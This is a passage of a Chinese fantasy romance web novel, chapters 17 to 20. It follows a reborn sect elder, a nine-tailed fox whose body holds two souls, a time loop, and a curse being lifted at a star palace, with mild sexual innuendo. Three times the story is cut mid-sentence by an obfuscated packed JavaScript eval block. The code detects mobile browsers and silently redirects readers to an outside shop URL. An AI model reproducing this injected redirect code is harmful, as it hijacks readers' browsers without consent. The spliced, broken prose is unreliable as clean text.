如果恨陆尽遥榨干他,无情地将她扔到魔渊,恨得杀了她,根本不可能会对她有这样的强烈情感。 小狐狸爬到陆尽遥落下的掌心里,仰头充满敌意地望着那道金影。 晏尘微只是淡淡睨视他一眼,丝毫没把他放在眼里,缓缓勾了唇。 晏青山那张表现得人畜无害的脸,在金影身上,只有无尽的魅惑,暗藏危险。 他的视线转回陆尽遥身上,唇角的笑如涟漪般缓缓扩大。 那很久之前就已经熟悉彼此的神魂,只要一方出现,另一方不由自主地被勾出。 陆尽遥已经很久没有这种,连神魂都躁动的感觉。 有那么一瞬间,她以为自己回到了前世与晏尘微双修的时候。 神魂契合得不可思议,宛如他是为她而生。 17. 第 17 章 金影甚至比日光还要耀眼。 他慢慢靠近她,神魂之力涌入她身体,要将她的神魂勾出来。 妖瞳里的色彩绚烂奇异,宛如万花筒里流动的瑰丽色块,极其容易让人看失了魂。 即使看过千百次,陆尽遥还是陷进去了。 等她回过神,神魂差点就被勾出了窍。 涣散的视线聚焦,浮上一层冷意,陆尽遥抬手结印,禁制纹出现的瞬间,金影消散,黑暗笼罩整个房间。 她失神望着金影方才站着的地方,灵力逐渐散去。 方才不是她的错觉,那道神魂,就是晏尘微! 她转身去找床上那只狐狸,视线里却看到晃眼的白。 少年似乎刚从狐狸化成人,还没来得及换上衣裳,刚抬起头,就与她对视上。 惯常盈满笑意的狐狸眼,此刻罕见地闪过慌乱。 陆尽遥只来得及看到他眨动的眼睫,就被突然升起的狐尾挡住视线。 顷刻间一根根毛茸茸的狐尾将他完全遮盖,根根绒毛竖起,像炸开的鸡毛掸子。 陆尽遥缓缓眨了眨眼,脑海里少年被红霜覆盖的脸颊挥之不去,那模样,像极了被夺走清白的良家男。 她摸了摸自己的鼻子,莫名生出一种负罪感。 搞得她好像欺负了他一样。 她弄了个光球照亮周围,瞅着那被狐尾挡住的人,问:“你在搞什么?” 狐尾一抖,少年没有应声。 陆尽遥去扒狐尾,刚扒开一根,另一根挡住空隙,她嘿呦一声,继续扒。 空隙一出来就被另一根狐尾挡住。 啧,九尾狐尾巴就是多。 陆尽遥没了耐心,直接用法术把九根尾巴一起绑住,两手往下一按,绒毛填满掌心,她下意识捏了一把。 “嗯!” 一声闷哼,尾音还转了个调,听得人面红耳赤。 陆尽遥一愣,力道一松,尾巴立刻从她手里溜走。 她抬起眼去看,少年咬着唇,下颌仰起,脖颈绷直,还能看到那绯红一点点攀上来,爬上他脖颈肌肤,看着涩气极了。 他抱着自己的尾巴,狐狸眼控诉地望着她,眼里氤氲水雾,看着像是被水洗过一样,透彻明亮。 陆尽遥又握了握方才捏狐狸尾巴的手,慢一拍反应过来,狐狸尾巴敏感的很,前世每次摸,他都会受不住。 她呢,有点小癖好,总喜欢看他被捏尾巴后情难自禁地喘息,声音还好听,越捏越上瘾。 有时候几天没见,他就冷脸,这个时候陆尽遥最喜欢捏他的尾巴,把他弄得气息紊乱,又不想帮他疏解时,他就自己抱着尾巴缩到床角,露出狐狸眼一瞬不瞬地盯着她。 这习惯,一点都没变。 陆尽遥勾起唇,心情愉悦,朝他勾起手指,“晏尘微,你好纯情啊。” 少年不满她喊自己晏尘微,但没有反驳,他现在形态还不稳定,不能剧烈动作。 “你为什么可以用神魂之力调用妖丹的力量?” 晏尘微的声音比之前更冷:“你我本是一体,你能做到的,我自然也能。” 他提醒晏青山:“不尽快驱除禁制,你保持不了多久人形,待你的妖力削弱,禁制威力增强,墨尤就会找到你。” 晏青山磨了磨牙,很讨厌这种失控的感觉,有这么一个随时都会夺走身体的潜在威胁,他唯有时刻警惕。 那股因陆尽遥而引起的悸动退去,他直起身坐在床上,匆忙披上的衣裳没系紧,从肩头滑落,绒白的狐尾将肩头肌肤衬得更白。 陆尽遥扫了一眼,无声说了句:“大白天的勾引谁呢。” 她正了脸色,问他:“方才你神魂出窍了?” 少年嗯了一声,耳根的薄红还未消散,再配上他衣衫不整的模样,看着倒是真的像刚被欺负完,可怜兮兮地用破烂衣衫遮住自己。 陆尽遥没忍住多看了眼,旋即就想敲自己脑袋,都想的什么东西,他都杀了自己一回,还能被他这张狐狸脸迷惑住。 “为什么出窍?” 少年的声音哑哑的,直接说了出来:“我受了伤,得用你体内的妖丹疗伤。” 陆尽遥身体微微一动,想到他喂自己妖丹时那苍白的脸色,再一联想到墨尤说的话,眯眼问他:“是你拿走了墨尤的东西?” “嗯。”晏青山弯起眼眸,狐尾一扫,蹭到陆尽遥的手。 陆尽遥习惯性捏住尾巴尖,想到差点被墨尤杀了,罪魁祸首就是眼前的少年,气得牙痒。 “他们抢走了我同族的妖丹,我只不过拿回来了而已。” 陆尽遥思绪一顿,随后紧紧捏着狐尾,把那根尾巴捏在手心使劲掐。 死狐狸精,居然利用她躲开墨尤的追查! “你给我那颗不是你的妖丹,是你拿回来的那颗。” 晏青山眉间突突跳,他受不了被陆尽遥这么捏尾巴,本来想抽回来,但她的力道重得他根本没力气抽。 “唔……虽然不是我的,嗯、但,和我的妖丹效果差唔——” 陆尽遥使劲一掐,一把丢开他的尾巴。 “晏尘微,你真是好样的,敢利用我,信不信我现在就招来墨尤,让他把你剖了!” 少年没有回她的话,歪斜着身子,被她用力捏过的那根尾巴皱巴巴的,一动不动落在他大腿上。 而他好不容易退下的红霜,转瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092868|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间又爬了上来。 他连唇都没咬,喘息从唇齿间溢出来,那声音陆尽遥一听,就知道他是怎么回事。 眼神隐晦地瞥了眼尾巴覆盖的位置,她是不可能大发慈悲帮他的。 “把衣服穿好。” 晏青山随意拨弄了自己的衣裳,其实他完全可以用妖力变出合身的衣裳,但他没这么做。 垂下的眼帘里除了得逞的狡黠,还有挑衅。 “你不是说她知道了会生气?”他勾起唇,“她没有。” “她对我可不会像对你那样,用完就丢。” 晏尘微没理他。 “不管是谁的妖丹,我都不会还给你。”陆尽遥一顿,加了句:“至于你,最好离我远点,我可保证不了,不会剖了你的妖丹。” 九尾狐的妖丹能修复她的心脉,眼前就有一只现成的,要不是怕杀了他会引起异变,她早就动手了。 还有之前的异样,离晏尘微稍微远一点,心脉就干涸堵塞,没弄清楚原因前,她必须将这只狐狸放到眼皮子底下看着。 “你受的伤,也是拿妖丹的时候弄的?” 晏青山点头,狐尾盖住受伤的右手,从手指到手腕,全都是难看的禁制纹,不想露出来。 见陆尽遥没有再问神魂出窍,虽然瞒过去那是前世的自己,但他还是有点不高兴。 陆尽遥的神魂差点就被勾出来了,她若不是对晏尘微十分信赖或是神魂契合,根本不可能被勾出来。 所以前世,晏尘微杀陆尽遥的事绝对有隐情。 被他亲手所杀,神魂会记住仇人的气息,怎么可能还会与杀自己的人亲近。 晏尘微绝对还有事情瞒着他。 神魂吸收的妖力令他缓过来,他尾巴慢慢收回去,神态恢复正常。 晏青山正要借用身上的伤提起双修的事,忽然想起之前没问出来的话,喊了陆尽遥一声,在她望过来时,没设防的瞬间,又对她用了魅惑术。 他很想知道为什么她一直抗拒与她双修,晏尘微不告诉他,他就自己找答案。 女子神情呆滞,没有立刻回答。 晏青山很有耐心地破开她的防御,慢慢问她,直到她说出了他想要的答案。 “我采补你,被你杀了。” 空气陷入死寂。 得到这个答案,晏青山在心底面无表情对晏尘微说:“她果然记得。” “所以她不愿意和我双修,都怪你。” 身体里的人并没有回他,晏青山舔了一下口中尖锐的牙,冷笑出声。 难怪他在陆尽遥身上耗了几天时间,一点进展都没有。 被耍的感觉,真的真的真的,很不爽! 18. 第 18 章 “我觉得我们的合作可以终止了。” 方才身体的悸动被一盆冷水浇灭,少年脸上的红晕还没完全退干净,眼尾挂着一抹殷红,面无表情地吐出这句话。 晏尘微提醒他,他现在的身体情况不容许他这么做。 “只要墨尤的禁制在你身上一天,你就无法彻底恢复,妖力耗尽,要么禁制扩散到你全身,等死,要么你就继续,与她双修破除禁制。” 晏尘微声音不急不缓,甚至能听出事不关己的悠闲。 “疼在你身上,我不会受到影响。况且你现在维持不了多久人形,想吸取陆尽遥体内妖丹的力量,还得靠我。” 晏青山被他拿捏得死死的,他只是一缕神魂,没有躯壳,不会受到禁制折磨。 现在若想恢复,只有一条路可以走——与陆尽遥双修。 他眯起狐狸眼,看着陆尽遥缓缓挣脱魅惑术,在心底问晏尘微:“与陆尽遥双修解除禁制?” “我怎么知道不是你在骗我,以解除禁制为由,骗我与陆尽遥双修。” 先前晏尘微已经骗过他一次,险些被夺走身体控制权,谁知道他是不是又在骗人。 晏尘微一点都不着急,“你大可寻找别的办法,不过你的身体,可等不了多久。” “若不是你杀了陆尽遥,她怎么会防着我?” 晏尘微没有再说话。 晏青山现在很想把身体里的神魂扯出来,送到陆尽遥面前,让她摧毁这道神魂出气。 这样陆尽遥就不会把对晏尘微的恨意和防备转嫁到他身上。 他苍白的脸冷得如冰,从听到陆尽遥说的那句话起,没再笑过。 但下一瞬,他反射性地扬起唇,因为陆尽遥清醒了。 陆尽遥大脑一阵恍惚,感觉刚才好像睡了一觉,迷迷糊糊的。 视线一清晰,就看到少年离自己很近,一眼就看到他那闪着琉璃光彩的琥珀眸子。 狐狸眼轻轻一颤,一滴晶莹的泪珠在陆尽遥的注视中,从他上挑的眼尾滑落。 晏尘微说陆尽遥很吃这一套,只要他落泪,她就会对他温柔许多。 只那么一瞬间,少年浑身弥漫出莫大的委屈,脑袋蔫了一样垂着,往她身上靠。 陆尽遥看了一眼,又看一眼,脑海中浮现他变成狐狸可怜巴巴看着自己的样子,一时间忘了推开他。 等他几乎整个人贴上来时,她猛地回神,食指抵着他眉心,把人往后一推。 他就轻飘飘倒床上去了。 陆尽遥瞅瞅自己的手指,再一看他望向自己控诉的眼神,摸了摸鼻子。 随便一用力就被推倒,他什么时候这么弱了? 她恍然想起来,前世他也只是在她抓他的时候反抗了几下,后来每次反抗,都被她轻轻松松压制。 他不会真的很弱吧。 陆尽遥立刻打消这个念头,他要是弱,就不可能从魔渊里爬出来,还能杀了当时已经是合体期的她。 搞不好这只狐狸在憋坏,迷惑人眼罢了。 她往后退了一步,本来想再威胁他几句,但见他一副病恹恹的样,看起来的确伤得很重,就没有说出来。 意识到自己对他心软,陆尽遥心底嘲笑自己。 她真是疯了,会因为晏尘微给了自己一颗妖丹,再摸了几把他狐狸尾巴,就被他表面的柔弱无害给迷惑。 陆尽遥,你忘了自己前世是被谁杀死的了吗? 一口气从心中起,她转身就要走,少年的声音在身后响起,她听不都不想听,脚步不停。 晏青山已经提醒过她,不要离开自己太远,但她不听。 他忍着禁制带来的痛,半躺在床上,看着她一步步走远。 “一米,两米,三米。” 话音落下的瞬间,陆尽遥身子一晃,险些跌倒。 剧烈的痛又一次席卷了她,这感觉太熟悉,立刻想起来之前离开晏尘微一定距离,心脉就会堵塞,这次她没有强撑,往后退。 痛感没有消失,但她能感觉到心脉渐渐停止堵塞。 等她退回到床边,被握住手时,心脉堵塞才彻底停止。 陆尽遥抽出手,问他:“妖丹可以阻止我心脉堵塞,但为什么一旦离你超过三米,我的心脉就会重新阻塞?” “晏尘微,你又在搞鬼。” 她说这句话时,没有任何表情,语气冰冷,晏青山听得更不高兴了。 “因为这颗妖丹只有靠近我,才能发挥最大的功效。”这话不假,但真正让妖丹运转的,是晏尘微的神魂。 他受了伤,暂时催动不了妖丹。 “所以你不能离开我。”晏青山说完,本来想笑一个的,但是手太疼,笑不出来。 陆尽遥听得又想使劲捏他的狐狸尾巴出气,“晏尘微,我之前怎么没看出来你这么有心机?” 晏青山哼哼一声,没有反驳。她说的是晏尘微,又不是他晏青山。 不过晏尘微比他还要有心机,故意被她抓到与她双修三年,都没被她发现真面目,晏尘微更会装。 “你给我等着,等我找到办法修复心脉,我就剖了你的妖丹,把你扔进魔渊。” 陆尽遥以为晏尘微会诡辩几句,但他只是躺在床上,惯有的笑都退去。 他一下子安静下来,虚弱地躺着,不说话也不笑,陆尽遥还有点不习惯,之前那么闹腾,一次次循环,弄得她暴躁得想杀人。 然后她就想起来自己好像忘了一件事。 今天白天发生了前世本没有发生的事,以至于她忘了,今晚一天黑,又到她和晏尘微双修的时候。 陆尽遥沉了脸,坐在旁边盯着床上的少年。今晚她一定要弄清楚,那循环究竟是怎么产生的。 少年迎着她的目光,眨了眨眼,身子往里边挪,还用左手拍了拍他特意留出来的空间,“一起躺。” 陆尽遥凶巴巴回他:“让你躺你就躺好,再动我就剁了你的爪子。” 晏青山哦了一声,收回爪子,但亮晶晶的狐狸眼一眨也不眨地盯着她。 他的目光存在感太强烈,陆尽遥干脆闭上眼,屏息打坐。 要不是因为要修复心脉,她怎么可能让死狐狸精躺在自己床上,还这么有耐心地和他说话。 死狐狸精,就知道害人! 时间缓缓流逝,主殿内没了声响。 不面对陆尽遥时,晏青山卸下温顺的假面,幽深的眼一直看着她,似乎要将她一片片剖开,看看她脑子里究竟想的是什么。 “自始至终,你都没有与我说过一句真话。”被耍了好几天,晏青山越想越觉得恼火。 “如果你还想与我合作,解开循环,那就拿出诚意,而不是暗戳戳地抢我的身体。” 晏尘微笑了,“这本来就是我的身体,你本应该被我吞噬,那日如果是我出马,我早已经与她成功双修。” 晏青山听他说完,反而平息了怒火,神色恹恹的脸上浮现极为灿烂的笑,“但是你现在抢不走我的身体,我却能与她双修。” “晏尘微,没有我,你什么都办不到。” 身体里的人似乎沉了下去,没有再说话。 怼完晏尘微,晏青山心情非常好,躺在床上看陆尽遥。 她打坐的时候,眉眼低垂,几缕碎发散在额间,眉心的朱砂在室内显得颜色更暗。 晏青山舔了舔唇,感觉她的朱砂痣尝起来应该是甜甜的,像包子里的豆沙。 他的目光情不自禁地落到她唇上,他尝过两次,第一次是软软的,第二次有点干,磨嘴皮子。 等她醒来让她多喝点水。 晏青山如是想到。 没过一会,他就因为右手上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092869|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤疼得蹙起眉。禁制纹已经爬到他胳膊肘,再这么下去,用不了多久就会爬遍全身。 只能靠和她双修才能解吗? 晏青山闭上眼,继续蓄积妖力。 夜幕刚降临,门被敲响,外头传来守门弟子的声音。 “陆长老,宗主送来了一批妖兽,让您采补。” 殿内两人同时睁开眼,没点灯,是以看到两颗粉色光团时,陆尽遥还以为是新造出来的摆件。 等那光团一闪一闪的,才发现那是晏尘微的眼睛。 陆尽遥:“……” 她觉得应该多开几扇窗户,免得不点灯自己像个瞎子。 刷的一声,殿内烛灯全亮,陆尽遥起身往门口走,刚走几步停下来,冲晏青山道:“起来,跟在我身边。” 晏青山哦了一声,起身下床,衣裳还松松垮垮的。 门一开,外面的弟子和妖兽就看见穿戴整齐的陆尽遥,还有个衣衫不整的少年。 有妖兽认出少年就是之前在凝露台的九尾狐,一看他身上就披着一件衣裳,春光乍泄,向他投去责备的目光。 妖界的叛徒!居然真的给人族当炉鼎了! “长老,前面这五只是妖兽,后面三名是宗主挑选的弟子,都是金丹期。” 他这话一出口,晏青山耳朵竖起,往后一看,三名弟子里没有觊觎男。 沉默许久的晏尘微突然出声:“你看,你不利用妖丹与她双修,就会有更多的人与她双修。” 晏青山不理他,在陆尽遥身侧幽幽出口:“你要采补他们吗?” 陆尽遥还没说话,晏青山直接说了句骇人的话:“可是你现在离不开我,又要采补他们的话,只能一起来了。” 晏青山转向被送过来的妖兽和弟子,咧开嘴笑,露出尖锐的虎牙,“你们不会介意的吧?” 陆尽遥本来是要拒绝的,但听到他这么说,改变了主意。 看在他给的妖丹暂时解决了她一大危机的面子上,她可以容忍他偶尔对自己动手动脚。 但这并不意味着他能挑衅自己的权威,尤其是在合欢宗弟子面前。 她没再给他一个眼神,在妖兽和弟子里各随便挑了一个。 “过来,我要吸取你的力量。” 晏青山笑容消失,转头凝视陆尽遥,她当他不存在。 他扭头瞪着那名被挑中的妖兽,九尾狐的血脉压迫使他不敢上前。 “你,过来。” 陆尽遥直接换了那名弟子。 在晏青山的注视中,她朝那名弟子抬起手。 她的手指纤细,晏青山摸过,上头还有薄薄的茧子,却不硌人,摸他尾巴的时候,掌心炽热,很暖。 他盯着那名弟子,眼神警告他,他要是敢碰上去,后果自负。 但那名弟子根本不怕,妖兽而已,在合欢宗,还不是被陆长老拿来当炉鼎? 他冲少年挑衅一笑,抬手要握住陆尽遥的手。 晏青山盯着他们即将交握的手,正打算阻止时,熟悉的波动袭来。 他勾了唇。 陆尽遥刚准备吸取那弟子的力量,试试能不能起效,眼前一黑,耳边响起少年得意的声音。 “可是你现在离不开我,又要采补他们的话,只能一起来了。” “你们不会介意的吧?” 陆尽遥:“……” 该死的循环! 守门弟子见她没有说话,小心翼翼道:“陆长老,宗主叮嘱过,让您悠着些,刚受了伤,采补过剩,会伤身。” 陆尽遥笑。 见到她笑得阴森可怖,妖兽和弟子们不由得抖了抖身子。 陆尽遥直接一挥手,“来,全都一起来!” 只是想吸收他们的力量还能陷入循环? 她就不信了,今晚谁都别想走! 19. 第 19 章 妖兽震惊,与弟子眼神对视。你们合欢宗玩这么花的?一起来,吃得消吗? 弟子瞪回去,不知道啊?他们以前也没有被派过来让陆长老采补啊! 守门弟子急得背后出了汗,连忙道:“陆长老不可,宗主特意叮嘱过,您最好一个一个地吸收,一下子吸收太多,源头不一的力量太杂,恐伤到您的身体。” 妖兽们与弟子们立刻点头,生怕她来真的。 陆尽遥不干,她今天就要放肆一把。 该死的循环,她就不信非得走前世与晏尘微双修的路才能结束。 “我的命令,你们都不听了?” 无形的威压碾下,弟子们身子一颤,不敢违抗,一点点往前挪。 妖兽们一动不动,站在血脉金字塔尖的九尾狐还没开口,他们哪里敢动。 陆尽遥嫌他们走的慢,直接动手把人全都带到面前,灵力抬起他们的手,刚碰上去,她瞪大眼,免得再回到循环起点,眼黑的时候看不清。 然而她这个举动多余了。 想象之中的循环没有来,她往边上少年投去狐疑的目光,却见他低着头,身子歪斜着靠在殿门上,看起来状态不太好。 上下扫了他几眼,她没管,正要动手吸收弟子的力量时,低低的声音传来,很弱,只有她一个人能听见。 “一定要用他们吗?” 陆尽遥没有回答,面向这群担惊受怕的弟子时,心中莫名烦躁。 她动了手,和上次一模一样,没有感受到丝毫力量。换了只妖兽,居然也没有效果。 她顿住了。 被她抓住的那只妖兽见她不动,赶紧挣脱开来往后退。 陆尽遥就站在那,也不说话,沉着脸,可怕得很。 守门弟子察觉到不对劲,赶紧道:“陆长老,要将他们送去偏殿吗?” 陆尽遥挥手,“让他们都走。” 她正打算去炼丹阁找人看看自己身体究竟出了什么问题,刚走了一步,眼前一黑,又响起少年的声音。 “可是你现在离不开我,又要采补他们的话,只能一起来了。” “你们不会介意的吧?” 紧接着就是守门弟子劝阻她,“陆长老,宗主叮嘱过……” 陆尽遥没理他的话,抬脚往外跨了一步,脚还没落下,眼前又是一黑,少年的声音再起。 好,她试出来了。 和第一晚一样,出不了这个门。 “陆长老,宗主叮嘱过——”守门弟子的声音戛然而止,陆尽遥打断他。 “把他们送回去。” 说完她往殿内走,发现人没跟过来,扭回头,只见少年靠在殿门上,脑袋耷拉着,没什么精气神的样。 “还不过来?” 听到她喊自己,晏青山抬起头,缓缓偏头望向她。烛火照亮的视线里,他额间尽是细密汗珠,沿着他眉骨滑落。 “这就是不尽快与她双修,被禁制吞噬的后果。” 晏青山几不可查地扯了扯嘴角。 他快要撑不住了。 望向陆尽遥的狐狸眼淡淡弯了一瞬,等陆尽遥察觉到不对劲时,眼前一黑,熟悉的声音再响,这次她没等守门弟子说话,让他们都滚。 弟子们还没反应过来,就看到她搂着少年的腰往殿内走,殿门被关上,什么都看不见了。 殿外的几双眼睛对视,皆从对方眼中看到疑惑,还没说来意呢,就被赶走了。 守门弟子礼貌微笑,带他们离开。 寝殿里,陆尽遥还没把人带到床上,就被他沉重的身体带着砸向地面。 她撑着双臂没砸到他身上,他倒是闷哼一声,砸的不轻。衣衫被他压扯着,胸口肌肤露出一大片。 右臂上的黑纹蚯蚓一般缓缓往上爬。 陆尽遥把他衣领往下扯,果不其然,整条右臂几乎都被禁制纹霸占。 “你拿妖丹时,中了墨尤下的禁制?” 晏青山哼了一声,左手把衣领扯回来,遮住丑陋的黑纹,不想让她看。 不论是前世的晏尘微,还是现在的晏青山,都极为在意自己的外表。 身为九尾狐,妖族最高等级血统,无论何时何地,都不能露丑态。 所以他在察觉到自己撑不住时,开启了循环,他怕自己撑不住在那群人和妖兽面前倒下,所以回到循环起点,那个时候他还站着。 “你不是说吸收妖丹的力量,可以恢复?” 听到她说的话,晏青山仰起头,妖瞳爆发出期待。 陆尽遥哼了一声,从他身上离开,“我要是不给你吸收,等禁制纹遍布你全身,你会死。” “我若死,没有我的力量,你的心脉会继续堵塞,除了我,没有人能帮你。” 陆尽遥笑容消失,她不想拿自己的命开玩笑,重生本就是意外,谁知道这次死了还会不会重生。 “你身上的禁制只有修为在墨尤之上的人能去除,合欢宗没有人能做到。” “我们双修,就能解除。” “双修能解除合体期的禁制,你当我是傻子?” 少年声音更弱了:“我没必要拿我的命骗你。” 陆尽遥凝视面前的狐狸,他一动不动,狐狸眼一眨也不眨。 “我,不可能和你双修。” 与杀了自己的人双修? 她不杀了他已经不错了,要不是该死的循环,她早就报了仇。 陆尽遥心情更差了,不再说话。 打算在他身边打坐熬过今晚,明天就去找沈灵泽帮忙把妖丹拿出来,解除和晏尘微的绑定。 她就算忍着心脉堵塞的痛,也不受晏尘微的胁迫。 晏青山没有力气再开启循环,双目紧闭,呼吸越来越粗重。 “我可以再帮你一次,借她体内的妖丹勾起她的欲望,你就可以与她双修。” “闭嘴。” 如果陆尽遥能听到,就会发现晏青山与晏尘微说话的语气是她从未听过的森冷,杀意浓重。 “我不会把身体给你。” 与陆尽遥双修,万一控制不了神魂出窍,晏尘微就能趁机夺走身体。 他不可能答应。 一片沉寂,谁都没有再说话。 天一亮,陆尽遥睁眼,又一晚度过。其实所谓的循环只不过给她添了很多麻烦,只要按之前那样和晏尘微共处一室就能解除。 这么算,其实就是身边多了个人。 陆尽遥站起身,本来要把死狐狸精带着一起去四相星宫,但没看到人影。 准确来说,只在地面看到他穿的衣裳,定眼一看,中间凸起一块,一打开衣裳,一团绒白出现在陆尽遥眼前。 他又变成狐狸了。 绒白之中,那一条黑炭一般的前肢尤为扎眼,陆尽遥脑子一抽,忽然尝试能不能解开,差点被反噬。 这么一折腾,小狐狸睁开了眼。 以往狡黠带着笑意的狐狸眼,现在只是看了她一眼,就闭上。 陆尽遥本来是不想在他身上浪费同情心的,但架不住毛茸茸啊! “看在你给我妖丹,帮我暂时压制心脉堵塞的份上,我就不扒你的皮了。” 她带上小狐狸,直接去四相星宫。 再次见到沈灵泽,她直切主题:“你帮我看看他的身上的禁制,能不能解开。” 还没被放到沈灵泽手里,小狐狸就炸毛,死死抱着她的手不放。 银袍男人瞥了眼这只巴掌大小的九尾狐,问:“你和他是什么关系?” 解释起来太麻烦,为了省事,陆尽遥干脆说是自己的炉鼎。 沈灵泽眸光一闪,抿了唇,没有再问。 指尖弹出一颗星子,那星子迅速分裂成肉眼难以捕捉的细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092870|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝,将小狐狸身体捆住,带到沈灵泽面前。 晏青山被迫离开陆尽遥的手,狐狸眼瞪着沈灵泽,满面屈辱。 九条狐尾翘起来,挡住自己。 沈灵泽看都没看他那一眼,食指一碰他被禁制侵蚀的前肢,星轨弹出,围着他们接触的手缓缓转动。 对付禁制四相星宫有一手,强行破除不行,那就取巧,希望沈灵泽有办法吧。 “对了,我不小心吞了一颗妖丹,能帮我取出来吗?” 沈灵泽手上动作不停,人往陆尽遥那走了一步,靠近她,另一只手虚按住她心口,温柔清凉的力量缓缓涌进她身体。 片刻后他道:“感觉不到妖丹的存在,你确定你吞的是妖丹?” “确定,还是个厉害妖兽的妖丹。” “我再寻查看看。” “好。” 晏青山听着两人的对话,再一看自己被禁锢无法反抗,咬牙。 等他恢复了,一定要把这个破星宫砸了。 “还是没有寻到。”沈灵泽收回手,见陆尽遥诧异,顿了片刻,猜测道:“许是你的身体已经吸收。” 确实有这个可能,但陆尽遥没有觉得修为有上涨的迹象,心脉也还是会堵塞,奇了怪了。 狐疑的目光转向小狐狸,“又是你在搞鬼。” 晏青山不说话,这的确是他做的。 她吐不出来,他们之间的羁绊才会牢固。 星轨收缩,沈灵泽摇了头,道:“抱歉,我解不开。” 陆尽遥摆了摆手,“没事,我也只是来试试看看。” 沈灵泽看出她失望,小狐狸被她捧到手心里,摸了摸尾巴,神情是他鲜少见到的怜惜。 陆尽遥挺在意这只九尾狐,甚至连她自己都没发现,不在意,又怎么会带过来让他帮忙。 沈灵泽偏开头不再看她摸狐狸,淡淡道:“我师尊或许有办法。” “真的?” 她的反应在他意料之中,短短两个字,充满期待。 沈灵泽咽了咽发涩的嗓子,嗯了一声,“我带他进去,你在外等候。” 陆尽遥立刻把手里的小狐狸给他,四相星宫不许合欢宗的弟子进去,这规矩她记得很清楚。 晏青山使劲扒拉陆尽遥的手,还是没能逃脱落入沈灵泽手中的命运。 他仰起头,狐狸眼瞪着男人。 沈灵泽在这只九尾狐眼中看到对自己的敌意,还有警告。 那眼神,好像认识他。 但这是他第一次见这只九尾狐。 沈灵泽没有再看,进入四相星宫。 偌大的星盘滚动,他穿过满是星子的幽暗长廊,来到一座宫殿前,姿态恭敬地行礼跪地,开口道:“弟子沈灵泽,请师尊除去这只九尾狐身上的禁制。” 咔嚓一声,殿门开启。 漩涡般飞速旋转的星空映入一人一狐眼帘,苍老的声音传出。 “进来吧。” 沈灵泽起身,带着小狐狸进去。 小狐狸警惕地盯着里面,问晏尘微:“你不是说只有与陆尽遥双修才能解除禁制?” “我被陆尽遥一抓到就双修了,她并不知我中了墨尤的禁制,从没有带我来四相星宫。” 晏青山还要问他,身体一轻,脱离沈灵泽的手,身子被调转,面向那漩涡。 无数星子飞速涌动,那是整个大陆所有人的星轨,每一颗星子运行的轨道,都象征人的命运轨迹,承载着大脑无法接收的能量信息。 晏青山脑海空白了一瞬,随后涌入大量的画面,细碎,不成片。 画面飞速闪过,里面的人影糊成一团,却有道身影越来越越清晰,伴随着女子清脆欢快的声音。 “嘬嘬嘬,小狐狸,你过来,我就和你一起走。” 晏青山看清楚了,那道身影,正是笑着的陆尽遥。 20. 第 20 章 星子缓缓涌来,将他的身体包裹入内。 沈灵泽垂下手,视线中出现一道虚影,白发老者立在旋涡前,抬手拂过包裹晏青山的星子,星子扩散开来,形成一层结界,丝丝缕缕的力量绕着他被禁制侵蚀的前肢,黑色禁制纹闪烁,竟然一点点变淡。 老者收手,转身面向沈灵泽。 沈灵泽垂首,微微躬身。 “师尊。” 老者嗯了一声,“你倒是对她情根深种,她让你帮忙,你就帮?” 沈灵泽一声不吭。 “这只九尾狐身上的禁制是墨尤所下,她有告诉你,这禁制是怎么被下的吗?” 沈灵泽道:“并未。” 老者凝视他半晌,似是被他气到,没再说话。 星子还在解禁制,被禁锢在结界里的小狐狸似乎陷入昏迷中,狐狸眼闭着,身体一动不动。 “等着吧,半个时辰左右就能解开。” 沈灵泽躬身行礼:“谢过师尊。” 老者没有再说,身影越来越淡,即将完全散尽时,突然凝了回来。 与此同时沈灵泽也察觉到异样。 这座宫殿里全都是代表世人命运的星子,他们虽修的是星辰之力,但没有办法改变星子轨迹。 就在刚才,整个星宫里的星子全都往九尾狐涌去,穿透结界,涌入他身体里。 这样的情况,是四相星宫建立以来,第一次发生。 老者面容严峻,抬手结印,沈灵泽立刻跟上。 在四相星宫创立之初,这里的所有的星子就已经存在,按部就班地运行千百年,从没有这样的异象。 一旦这些星子脱离原本的轨道太久,会引起无法预料的后果。 “一只九尾狐而已,怎么会产生这么大的影响。” 老者记忆中,没有应对这样的异变的办法,尤其是当他发现自己无法将脱轨的星子拉回去,更是震惊。 他收回了手,示意沈灵泽停止施法。 “不用再试了。” 星子全往结界里涌去,宫殿内原本星辰点缀的星空只剩下一片幽深黑暗。 “他身上,怕是有命运因果。” 